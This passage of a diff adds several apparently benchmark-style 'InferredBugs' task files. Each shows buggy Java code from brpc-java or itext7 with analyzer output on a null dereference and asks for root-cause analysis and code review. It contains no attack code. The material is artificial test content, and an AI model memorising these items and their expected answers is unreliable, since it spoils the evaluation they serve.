+                    Message.Builder argBuilder = protobufRpcMethodInfo.getInputInstance().newBuilderForType();
+                    jsonPbConverter.merge((String) body, ExtensionRegistry.getEmptyRegistry(), argBuilder);
+                    args[0] = argBuilder.build();
+                } else {
+                    args[0] = gson.fromJson((String) body, rpcMethodInfo.getInputClasses()[0]);
+                }
+            } catch (Exception e) {
+                LOG.error("decodeBody failed", e);
+                throw new RpcException(RpcException.SERIALIZATION_EXCEPTION, "decode body failed", e);
+            }
+        } else if (protocolType == Options.ProtocolType.PROTOCOL_HTTP_PROTOBUF_VALUE) {
+            Object requestMessage = null;
+            try {
+                requestMessage = rpcMethodInfo.inputDecode((byte[]) body);
+            } catch (Exception ex) {
+                LOG.error("invoke protobuf method error, ex : ", ex);
+                return null;
+            }
+            args[0] = requestMessage;
+        } else {
+            throw new RpcException(RpcException.SERIALIZATION_EXCEPTION, "unknown protocol");
+        }
+
+        return args;
+
+    }
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `logId` last assigned on line 283 could be null and is dereferenced at line 285.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Response HttpRpcProtocol.decodeResponse(Object,ChannelHandlerContext)
+
+### Procedure Id:
+com.baidu.brpc.protocol.http.HttpRpcProtocol.decodeResponse(java.lang.Object,io.netty.channel.Channe.a704bde89d22f23a5183f9e9dbb1b043
+
+### File:
+brpc-java-core/src/main/java/com/baidu/brpc/protocol/http/HttpRpcProtocol.java
+
+### Key:
+HttpRpcProtocol.java|decodeResponse|NULL_DEREFERENCE
+
+### Node Key:
+69c9f7a67f66a7ee0376d56b8fad0d7a
+
+### Hash:
+a62c1937563f34b209a606ea06e34dcf
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11132/instruction.md b/inferredbugs-11132/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..aedfc24d1f618342cdb0ac207cb71060cfeac67b
--- /dev/null
+++ b/inferredbugs-11132/instruction.md
@@ -0,0 +1,236 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** itext7
+**Bug ID:** 24
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.itextpdf.model.renderer;
+
+import com.itextpdf.canvas.PdfCanvas;
+import com.itextpdf.core.geom.PageSize;
+import com.itextpdf.core.pdf.PdfPage;
+import com.itextpdf.model.Document;
+import com.itextpdf.model.Property;
+import com.itextpdf.model.layout.LayoutArea;
+import com.itextpdf.model.layout.LayoutContext;
+import com.itextpdf.model.layout.LayoutResult;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class DocumentRenderer extends AbstractRenderer {
+
+    protected Document document;
+    protected boolean immediateFlush = true;
+    protected LayoutArea currentArea = null;
+    protected int currentPageNumber = 0;
+
+    public DocumentRenderer(Document document) {
+        this(document, true);
+    }
+
+    public DocumentRenderer(Document document, boolean immediateFlush) {
+        this.document = document;
+        this.immediateFlush = immediateFlush;
+        this.modelElement = document;
+    }
+
+    @Override
+    public void addChild(IRenderer renderer) {
+        super.addChild(renderer);
+
+        if (currentArea == null) {
+            currentArea = getNextArea();
+//            try {
+//                new PdfCanvas(document.getPdfDocument().getPage(currentArea.getPageNumber())).rectangle(currentArea.getBBox()).stroke();
+//            }  catch (Exception exc) {}
+        }
+
+        if (childRenderers.size() != 0 && childRenderers.get(childRenderers.size() - 1) == renderer) {
+            List<IRenderer> resultRenderers = new ArrayList<>();
+            LayoutResult result = null;
+
+            LayoutArea storedArea = null;
+            LayoutArea nextStoredArea = null;
+            while (renderer != null && (result = renderer.layout(new LayoutContext(currentArea.clone()))).getStatus() != LayoutResult.FULL) {
+                if (result.getStatus() == LayoutResult.PARTIAL) {
+                    resultRenderers.add(result.getSplitRenderer());
+                    if (nextStoredArea != null){
+                        currentArea = nextStoredArea;
+                        currentPageNumber = nextStoredArea.getPageNumber();
+                        nextStoredArea = null;
+                    } else {
+                        getNextArea();
+                    }
+                } else if (result.getStatus() == LayoutResult.NOTHING) {
+                    if (currentArea.isEmptyArea() && !(renderer instanceof AreaBreakRenderer)){
+                        Logger logger = LoggerFactory.getLogger(DocumentRenderer.class);
+                        logger.warn("Element doesn't fit current area. KeepTogether property will be ignored.");
+                        result.getOverflowRenderer().getModelElement().setProperty(Property.KEEP_TOGETHER, false);
+                        renderer = result.getOverflowRenderer();
+                        if (storedArea != null){
+                            nextStoredArea = currentArea;
+                            currentArea = storedArea;
+                            currentPageNumber = storedArea.getPageNumber();
+                        }
+                        continue;
+                    }
+                    storedArea = currentArea;
+                    if (result.getNewPageSize() != null)
+                        getNextPageArea(result.getNewPageSize());
+                    else {
+                        getNextArea();
+                    }
+                }
+
+                renderer = result.getOverflowRenderer();
+            }
+            currentArea.getBBox().setHeight(currentArea.getBBox().getHeight() - result.getOccupiedArea().getBBox().getHeight());
+            currentArea.setEmptyArea(false);
+            if (renderer != null)
+                resultRenderers.add(renderer);
+
+            for (IRenderer resultRenderer : resultRenderers) {
+                alignChildHorizontally(resultRenderer, currentArea.getBBox().getWidth());
+            }
+
+            // TODO flush by page, not by elements?
+            if (immediateFlush) {
+                for (IRenderer resultRenderer : resultRenderers) {
+                    flushSingleRenderer(resultRenderer);
+                }
+            }
+
+            childRenderers.remove(childRenderers.size() - 1);
+            childRenderers.addAll(resultRenderers);
+        } else {
+            Integer positionedPageNumber = renderer.getProperty(Property.PAGE_NUMBER);
+            if (positionedPageNumber == null)
+                positionedPageNumber = currentPageNumber;
+            renderer.layout(new LayoutContext(new LayoutArea(positionedPageNumber, currentArea.getBBox().clone())));
+
+            // TODO flush by page, not by elements?
+            if (immediateFlush) {
+                flushSingleRenderer(renderer);
+            }
+        }
+    }
+
+    // Drawing of content. Might need to rename.
+    public void flush() {
+        for (IRenderer resultRenderer: childRenderers) {
+            flushSingleRenderer(resultRenderer);
+        }
+        for (IRenderer resultRenderer : positionedRenderers) {
+            flushSingleRenderer(resultRenderer);
+        }
+    }
+
+    @Override
+    public LayoutResult layout(LayoutContext layoutContext) {
+        throw new RuntimeException();
+    }
+
+    public LayoutArea getNextArea() {
+        currentPageNumber++;
+        ensureDocumentHasNPages(currentPageNumber);
+        PdfPage newPage = document.getPdfDocument().getPage(currentPageNumber);
+        return (currentArea = new LayoutArea(currentPageNumber, document.getPdfDocument().getDefaultPageSize().getEffectiveArea()));
+    }
+
+    public LayoutArea getNextPageArea(PageSize pageSize) {
+        PdfPage newPage = document.getPdfDocument().addNewPage(pageSize);
+        return (currentArea = new LayoutArea(document.getPdfDocument().getNumOfPages(), pageSize.getEffectiveArea()));
+    }
+
+    @Override
+    public LayoutArea getOccupiedArea() {
+        throw new RuntimeException();
+    }
+
+    protected void flushSingleRenderer(IRenderer resultRenderer) {
+        if (!resultRenderer.isFlushed()) {
+            ensureDocumentHasNPages(resultRenderer.getOccupiedArea().getPageNumber());
+            PdfPage correspondingPage = document.getPdfDocument().getPage(resultRenderer.getOccupiedArea().getPageNumber());
+            resultRenderer.draw(document.getPdfDocument(), new PdfCanvas(correspondingPage));
+        }
+    }
+
+    private void ensureDocumentHasNPages(int n) {
+        while (document.getPdfDocument().getNumOfPages() < n) {
+            PdfPage newPage = document.getPdfDocument().addNewPage();
+        }
+    }
+
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `result` last assigned on line 47 could be null and is dereferenced at line 84.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DocumentRenderer.addChild(IRenderer)
+
+### Procedure Id:
+com.itextpdf.model.renderer.DocumentRenderer.addChild(com.itextpdf.model.renderer.IRenderer):void.4c72e0917c379741a1dd11b175e3f6fd
+
+### File:
+model/src/main/java/com/itextpdf/model/renderer/DocumentRenderer.java
+
+### Key:
+DocumentRenderer.java|addChild|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+52557745788b51ea5c23dbd9f59dc107
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11133/instruction.md b/inferredbugs-11133/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3a000e64238526eb8eeacb28f2e8f6914c9ffd53
--- /dev/null
+++ b/inferredbugs-11133/instruction.md
@@ -0,0 +1,301 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** itext7
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.itextpdf.model.renderer;
+
+import com.itextpdf.core.geom.Rectangle;
+import com.itextpdf.model.Property;
+import com.itextpdf.model.layout.*;
+
+import java.util.ArrayList;
+
+public class LineRenderer extends AbstractRenderer {
+
+    protected float maxAscent;
+    protected float maxDescent;
+
+    public void addChildFront(IRenderer child) {
+        childRenderers.add(0, child);
+        child.setParent(this);
+    }
+
+    @Override
+    public LineLayoutResult layout(LayoutContext layoutContext) {
+        Rectangle layoutBox = layoutContext.getArea().getBBox().clone();
+        occupiedArea = new LayoutArea(layoutContext.getArea().getPageNumber(), layoutBox.clone().moveDown(-layoutBox.getHeight()).setHeight(0));
+
+        float curWidth = 0;
+        maxAscent = 0;
+        maxDescent = 0;
+        int childPos = 0;
+
+        boolean anythingPlaced = false;
+
+        while (childPos < childRenderers.size()) {
+            IRenderer childRenderer = childRenderers.get(childPos);
+            LayoutRect childSize = getElementSize(childRenderer);
+            LayoutResult childResult;
+
+            if (!anythingPlaced && childRenderer instanceof TextRenderer) {
+                ((TextRenderer) childRenderer).trimFirst();
+            }
+
+            Rectangle bbox = new Rectangle(layoutBox.getX() + curWidth, layoutBox.getY(), layoutBox.getWidth() - curWidth, layoutBox.getHeight());
+            childResult = childRenderer.layout(new LayoutContext(new LayoutArea(layoutContext.getArea().getPageNumber(), bbox)));
+            curWidth += childResult.getOccupiedArea().getBBox().getWidth();
+
+
+            float childAscent = 0;
+            float childDescent = 0;
+            if (childRenderer instanceof TextRenderer) {
+                childAscent = ((TextRenderer) childRenderer).getAscent();
+                childDescent = ((TextRenderer) childRenderer).getDescent();
+            } else if (childRenderer instanceof ImageRenderer) {
+                childAscent = childRenderer.getOccupiedArea().getBBox().getHeight();
+            }
+
+            maxAscent = Math.max(maxAscent, childAscent);
+            maxDescent = Math.min(maxDescent, childDescent);
+            float maxHeight = maxAscent - maxDescent;
+            occupiedArea.setBBox(new Rectangle(layoutBox.getX(), layoutBox.getY() + layoutBox.getHeight() - maxHeight, curWidth, maxHeight));
+
+            if (childResult.getStatus() != LayoutResult.FULL) {
+                LineRenderer[] split = split();
+                split[0].childRenderers = new ArrayList<>(childRenderers.subList(0, childPos));
+                if (childResult instanceof TextLayoutResult && ((TextLayoutResult) childResult).isWordHasBeenSplit() && bbox.getWidth() < layoutBox.getWidth()) {
+                    split[1].childRenderers.add(childRenderer);
+                    split[1].childRenderers.addAll(childRenderers.subList(childPos + 1, childRenderers.size()));
+                } else {
+                    if (childResult.getStatus() == LayoutResult.PARTIAL) {
+                        split[0].addChild(childResult.getSplitRenderer());
+                        anythingPlaced = true;
+                    }
+
+                    split[1].childRenderers.add(childResult.getOverflowRenderer());
+                    split[1].childRenderers.addAll(childRenderers.subList(childPos + 1, childRenderers.size()));
+                }
+
+                split[0].adjustChildrenYLine().trimLast();
+                LineLayoutResult result = new LineLayoutResult(anythingPlaced ? LayoutResult.PARTIAL : LayoutResult.NOTHING, occupiedArea, split[0], split[1]);
+                if (childResult.getStatus() == LayoutResult.PARTIAL && childResult instanceof TextLayoutResult && ((TextLayoutResult) childResult).isSplitForcedByNewline())
+                    result.setSplitForcedByNewline(true);
+                return result;
+            } else {
+                anythingPlaced = true;
+                childPos++;
+            }
+        }
+
+        if (anythingPlaced) {
+            adjustChildrenYLine().trimLast();
+            return new LineLayoutResult(LayoutResult.FULL, occupiedArea, null, null);
+        } else {
+            return new LineLayoutResult(LayoutResult.NOTHING, occupiedArea, null, this);
+        }
+    }
+
+    public float getMaxAscent() {
+        return maxAscent;
+    }
+
+    public float getMaxDescent() {
+        return maxDescent;
+    }
+
+    public float getYLine() {
+        return occupiedArea.getBBox().getY() - maxDescent;
+    }
+
+    public float getLeadingValue(Property.Leading leading) {
+        switch (leading.getType()) {
+            case Property.Leading.FIXED:
+                return leading.getValue();
+            case Property.Leading.MULTIPLIED:
+                return occupiedArea.getBBox().getHeight() * leading.getValue();
+            default:
+                throw new IllegalStateException();
+        }
+    }
+
+    @Override
+    protected float getFirstYLineRecursively() {
+        return getYLine();
+    }
+
+    protected void justify(float width) {
+        float ratio = .5f;
+        float freeWidth = occupiedArea.getBBox().getX() + width -
+                getLastChildRenderer().getOccupiedArea().getBBox().getX() - getLastChildRenderer().getOccupiedArea().getBBox().getWidth();
+        int numberOfSpaces = getNumberOfSpaces();
+        int lineLength = length();
+        float baseFactor = freeWidth / (ratio * numberOfSpaces + lineLength - 1);
+        float wordSpacing = ratio * baseFactor;
+        float characterSpacing = baseFactor;
+
+        float lastRightPos = occupiedArea.getBBox().getX();
+        for (IRenderer child : childRenderers) {
+            float childX = child.getOccupiedArea().getBBox().getX();
+            child.move(lastRightPos - childX, 0);
+            childX = lastRightPos;
+            if (child instanceof TextRenderer) {
+                float childHSCale = child.getProperty(Property.HORIZONTAL_SCALING);
+                child.setProperty(Property.CHARACTER_SPACING, characterSpacing / childHSCale);
+                child.setProperty(Property.WORD_SPACING, wordSpacing / childHSCale);
+                child.getOccupiedArea().getBBox().setWidth(child.getOccupiedArea().getBBox().getWidth() +
+                        characterSpacing * ((TextRenderer) child).length() + wordSpacing * ((TextRenderer) child).getNumberOfSpaces());
+            }
+            lastRightPos = childX + child.getOccupiedArea().getBBox().getWidth();
+        }
+
+        getOccupiedArea().getBBox().setWidth(width);
+    }
+
+    protected int getNumberOfSpaces() {
+        int spaces = 0;
+        for (IRenderer child : childRenderers) {
+            if (child instanceof TextRenderer) {
+                spaces += ((TextRenderer) child).getNumberOfSpaces();
+            }
+        }
+        return spaces;
+    }
+
+    /**
+     * Gets the total lengths of characters in this line. Other elements (images, tables) are not taken
+     * into account.
+     */
+    protected int length() {
+        int length = 0;
+        for (IRenderer child : childRenderers) {
+            if (child instanceof TextRenderer) {
+                length += ((TextRenderer) child).length();
+            }
+        }
+        return length;
+    }
+
+    @Override
+    protected LineRenderer createSplitRenderer() {
+        return new LineRenderer();
+    }
+
+    @Override
+    protected LineRenderer createOverflowRenderer() {
+        return new LineRenderer();
+    }
+
+    protected LineRenderer[] split() {
+        LineRenderer splitRenderer = new LineRenderer();
+        splitRenderer.occupiedArea = occupiedArea.clone();
+        splitRenderer.parent = parent;
+        splitRenderer.maxAscent = maxAscent;
+        splitRenderer.maxDescent = maxDescent;
+
+        LineRenderer overflowRenderer = new LineRenderer();
+        overflowRenderer.parent = parent;
+
+        return new LineRenderer[] {splitRenderer, overflowRenderer};
+    }
+
+    protected LayoutRect getElementSize(IRenderer renderer) {
+        Float width = renderer.getProperty(Property.WIDTH);
+        Float height = renderer.getProperty(Property.HEIGHT);
+        return new LayoutRect(width, height);
+    }
+
+    protected LineRenderer adjustChildrenYLine() {
+        float actualYLine = occupiedArea.getBBox().getY() + occupiedArea.getBBox().getHeight() - maxAscent;
+        for (IRenderer renderer : childRenderers) {
+            if (renderer instanceof TextRenderer) {
+                ((TextRenderer) renderer).moveYLineTo(actualYLine);
+            } else {
+                renderer.getOccupiedArea().getBBox().setY(occupiedArea.getBBox().getY());
+            }
+        }
+        return this;
+    }
+
+    protected LineRenderer trimLast() {
+        IRenderer lastRenderer = childRenderers.size() > 0 ? childRenderers.get(childRenderers.size() - 1) : null;
+        if (lastRenderer instanceof TextRenderer) {
+            float trimmedSpace = ((TextRenderer) lastRenderer).trimLast();
+            occupiedArea.getBBox().setWidth(occupiedArea.getBBox().getWidth() - trimmedSpace);
+        }
+        return this;
+    }
+
+    private IRenderer getLastChildRenderer() {
+        return childRenderers.get(childRenderers.size() - 1);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `child.getProperty(18)` could be null and is dereferenced at line 138.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void LineRenderer.justify(float)
+
+### Procedure Id:
+com.itextpdf.model.renderer.LineRenderer.justify(float):void.a465432b546f7ef9ab4560ff80224816
+
+### File:
+model/src/main/java/com/itextpdf/model/renderer/LineRenderer.java
+
+### Key:
+LineRenderer.java|justify|NULL_DEREFERENCE
+
+### Node Key:
+dc678d91476904c7b1b2af11d980af71
+
+### Hash:
+81340747f115eb0f82d88441b00b380d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11134/instruction.md b/inferredbugs-11134/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..358ca316dfc65434fdfb6a3f82881d4493aa7248
--- /dev/null
+++ b/inferredbugs-11134/instruction.md
@@ -0,0 +1,181 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** itext7
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.itextpdf.io.streams;
+
+import java.io.IOException;
+
+public class OutputStream extends java.io.OutputStream {
+
+    protected java.io.OutputStream outputStream = null;
+    protected int currentPos = 0;
+
+    public static final byte[] getIsoBytes(String text) {
+        if (text == null)
+            return null;
+        int len = text.length();
+        byte b[] = new byte[len];
+        for (int k = 0; k < len; ++k)
+            b[k] = (byte) text.charAt(k);
+        return b;
+    }
+
+    public OutputStream(java.io.OutputStream outputStream) {
+        super();
+        this.outputStream = outputStream;
+    }
+
+    @Override
+    public void write(int b) throws IOException {
+        outputStream.write(b);
+        currentPos++;
+    }
+
+    @Override
+    public void write(byte[] b) throws IOException {
+        outputStream.write(b);
+        currentPos += b.length;
+    }
+
+    @Override
+    public void write(byte[] b, int off, int len) throws IOException {
+        outputStream.write(b, off, len);
+        currentPos += len;
+    }
+
+    @Override
+    public void flush() throws IOException {
+        outputStream.flush();
+    }
+
+    @Override
+    public void close() throws IOException {
+        outputStream.close();
+    }
+
+    public OutputStream writeInteger(int value) throws IOException {
+        write(getIsoBytes(String.valueOf(value)));
+        return this;
+    }
+
+    public OutputStream writeFloat(float value) throws IOException {
+        write(getIsoBytes(String.valueOf(value)));
+        return this;
+    }
+
+    public OutputStream writeDouble(double value) throws IOException {
+        write(getIsoBytes(String.valueOf(value)));
+        return this;
+    }
+
+    public OutputStream writeByte(byte value) throws IOException {
+        write(value);
+        return this;
+    }
+
+    public OutputStream writeChar(char value) throws IOException {
+        write(getIsoBytes(String.valueOf(value)));
+        return this;
+    }
+
+    public OutputStream writeSpace() throws IOException {
+        write((byte)' ');
+        return this;
+    }
+
+    public OutputStream writeString(String value) throws IOException {
+        write(getIsoBytes(value));
+        return this;
+    }
+
+    public OutputStream writeBoolean(boolean value) throws IOException {
+        write(getIsoBytes(String.valueOf(value)));
+        return this;
+    }
+
+    public OutputStream writeBytes(byte[] value) throws IOException {
+        write(value);
+        return this;
+    }
+
+    public int getCurrentPos() {
+        return currentPos;
+    }
+
+    public java.io.OutputStream getOutputStream() {
+        return outputStream;
+    }
+
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getIsoBytes(valueOf(value))` could be null and is dereferenced by call to `write(...)` at line 64.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+OutputStream OutputStream.writeDouble(double)
+
+### Procedure Id:
+com.itextpdf.io.streams.OutputStream.writeDouble(double):com.itextpdf.io.streams.OutputStream.97d71bc42a27b29c763b43a2a959ef48
+
+### File:
+io/src/main/java/com/itextpdf/io/streams/OutputStream.java
+
+### Key:
+OutputStream.java|writeDouble|NULL_DEREFERENCE
+
+### Node Key:
+568f597552a5faf664a6b5497bc19646
+
+### Hash:
+649609dec614f0593141ab95e9fdbf48
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11135/instruction.md b/inferredbugs-11135/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ad2caad6b99ae5730102bda22661ed7e5f480428
--- /dev/null
+++ b/inferredbugs-11135/instruction.md
@@ -0,0 +1,332 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** itext7
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.itextpdf.model;
+
+import com.itextpdf.basics.image.ImageFactory;
+import com.itextpdf.core.pdf.PdfDocument;
+import com.itextpdf.core.pdf.PdfWriter;
+import com.itextpdf.core.pdf.xobject.PdfImageXObject;
+import com.itextpdf.core.testutils.CompareTool;
+import com.itextpdf.model.element.Image;
+import com.itextpdf.model.element.Paragraph;
+import com.itextpdf.model.element.Text;
+import org.junit.Assert;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.io.*;
+
+public class ImageTest {
+
+    static final public String sourceFolder = "./src/test/resources/com/itextpdf/model/ImageTest/";
+    static final public String destinationFolder = "./target/test/com/itextpdf/model/ImageTest/";
+
+    @BeforeClass
+    static public void beforeClass() {
+        new File(destinationFolder).mkdirs();
+    }
+
+    @Test
+    public void imageTest01() throws IOException, InterruptedException {
+
+        String outFileName = destinationFolder + "imageTest01.pdf";
+        String cmpFileName = sourceFolder + "cmp_imageTest01.pdf";
+
+        FileOutputStream file = new FileOutputStream(outFileName);
+
+        PdfWriter writer = new PdfWriter(file);
+
+        PdfDocument pdfDoc = new PdfDocument(writer);
+
+        Document doc = new Document(pdfDoc);
+
+        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+        int nRead;
+        FileInputStream is = new FileInputStream(sourceFolder+"Desert.jpg");
+
+        nRead = is.read();
+        while (nRead != -1){
+            buffer.write(nRead);
+            nRead = is.read();
+        }
+
+        PdfImageXObject xObject = new PdfImageXObject(pdfDoc, ImageFactory.getJpegImage(buffer.toByteArray()));
+        Image image = new Image(xObject, 100);
+
+        doc.add(new Paragraph(new Text("First Line")));
+        Paragraph p = new Paragraph();
+        p.add(image);
+        doc.add(p);
+        doc.add(new Paragraph(new Text("Second Line")));
+
+        doc.close();
+
+        Assert.assertNull(new CompareTool().compareByContent(outFileName, cmpFileName, destinationFolder, "diff"));
+    }
+
+    @Test
+    public void imageTest02() throws IOException, InterruptedException {
+
+        String outFileName = destinationFolder + "imageTest02.pdf";
+        String cmpFileName = sourceFolder + "cmp_imageTest02.pdf";
+
+        FileOutputStream file = new FileOutputStream(outFileName);
+
+        PdfWriter writer = new PdfWriter(file);
+
+        PdfDocument pdfDoc = new PdfDocument(writer);
+
+        Document doc = new Document(pdfDoc);
+
+        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+        int nRead;
+        FileInputStream is = new FileInputStream(sourceFolder+"Desert.jpg");
+
+        nRead = is.read();
+        while (nRead != -1){
+            buffer.write(nRead);
+            nRead = is.read();
+        }
+
+        PdfImageXObject xObject = new PdfImageXObject(pdfDoc, ImageFactory.getJpegImage(buffer.toByteArray()));
+        Image image = new Image(xObject, 100);
+
+        Paragraph p = new Paragraph();
+        p.add(new Text("before image"));
+        p.add(image);
+        p.add(new Text("after image"));
+        doc.add(p);
+
+        doc.close();
+
+        Assert.assertNull(new CompareTool().compareByContent(outFileName, cmpFileName, destinationFolder, "diff"));
+    }
+
+    @Test
+    public void imageTest03() throws IOException, InterruptedException {
+
+        String outFileName = destinationFolder + "imageTest03.pdf";
+        String cmpFileName = sourceFolder + "cmp_imageTest03.pdf";
+
+        FileOutputStream file = new FileOutputStream(outFileName);
+
+        PdfWriter writer = new PdfWriter(file);
+
+        PdfDocument pdfDoc = new PdfDocument(writer);
+
+        Document doc = new Document(pdfDoc);
+
+        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+        int nRead;
+        FileInputStream is = new FileInputStream(sourceFolder+"Desert.jpg");
+
+        nRead = is.read();
+        while (nRead != -1){
+            buffer.write(nRead);
+            nRead = is.read();
+        }
+
+        PdfImageXObject xObject = new PdfImageXObject(pdfDoc, ImageFactory.getJpegImage(buffer.toByteArray()));
+        Image image = new Image(xObject, 100);
+
+        doc.add(new Paragraph(new Text("First Line")));
+        Paragraph p = new Paragraph();
+        p.add(image);
+        image.setRotateAngle(Math.PI/6);
+        doc.add(p);
+        doc.add(new Paragraph(new Text("Second Line")));
+
+        doc.close();
+
+        Assert.assertNull(new CompareTool().compareByContent(outFileName, cmpFileName, destinationFolder, "diff"));
+    }
+
+    @Test
+    public void imageTest04() throws IOException, InterruptedException {
+
+        String outFileName = destinationFolder + "imageTest04.pdf";
+        String cmpFileName = sourceFolder + "cmp_imageTest04.pdf";
+
+        FileOutputStream file = new FileOutputStream(outFileName);
+
+        PdfWriter writer = new PdfWriter(file);
+
+        PdfDocument pdfDoc = new PdfDocument(writer);
+
+        Document doc = new Document(pdfDoc);
+
+        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+        int nRead;
+        FileInputStream is = new FileInputStream(sourceFolder+"Desert.jpg");
+
+        nRead = is.read();
+        while (nRead != -1){
+            buffer.write(nRead);
+            nRead = is.read();
+        }
+
+        PdfImageXObject xObject = new PdfImageXObject(pdfDoc, ImageFactory.getJpegImage(buffer.toByteArray()));
+        Image image = new Image(xObject, 100);
+
+        Paragraph p = new Paragraph();
+        p.add(new Text("before image"));
+        p.add(image);
+        image.setRotateAngle(Math.PI/6);
+        p.add(new Text("after image"));
+        doc.add(p);
+
+        doc.close();
+
+        Assert.assertNull(new CompareTool().compareByContent(outFileName, cmpFileName, destinationFolder, "diff"));
+    }
+
+    @Test
+    public void imageTest05() throws IOException, InterruptedException {
+
+        String outFileName = destinationFolder + "imageTest05.pdf";
+        String cmpFileName = sourceFolder + "cmp_imageTest05.pdf";
+
+        FileOutputStream file = new FileOutputStream(outFileName);
+
+        PdfWriter writer = new PdfWriter(file);
+
+        PdfDocument pdfDoc = new PdfDocument(writer);
+
+        Document doc = new Document(pdfDoc);
+
+        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+        int nRead;
+        FileInputStream is = new FileInputStream(sourceFolder+"Desert.jpg");
+
+        nRead = is.read();
+        while (nRead != -1){
+            buffer.write(nRead);
+            nRead = is.read();
+        }
+
+        PdfImageXObject xObject = new PdfImageXObject(pdfDoc, ImageFactory.getJpegImage(buffer.toByteArray()));
+        Image image = new Image(xObject, 100);
+
+        doc.add(new Paragraph(new Text("First Line")));
+        Paragraph p = new Paragraph();
+        p.add(image);
+        image.scale(1, 0.5f);
+        doc.add(p);
+        doc.add(new Paragraph(new Text("Second Line")));
+
+        doc.close();
+
+        Assert.assertNull(new CompareTool().compareByContent(outFileName, cmpFileName, destinationFolder, "diff"));
+    }
+
+    @Test
+    public void imageTest06() throws IOException, InterruptedException {
+
+        String outFileName = destinationFolder + "imageTest06.pdf";
+        String cmpFileName = sourceFolder + "cmp_imageTest06.pdf";
+
+        FileOutputStream file = new FileOutputStream(outFileName);
+
+        PdfWriter writer = new PdfWriter(file);
+
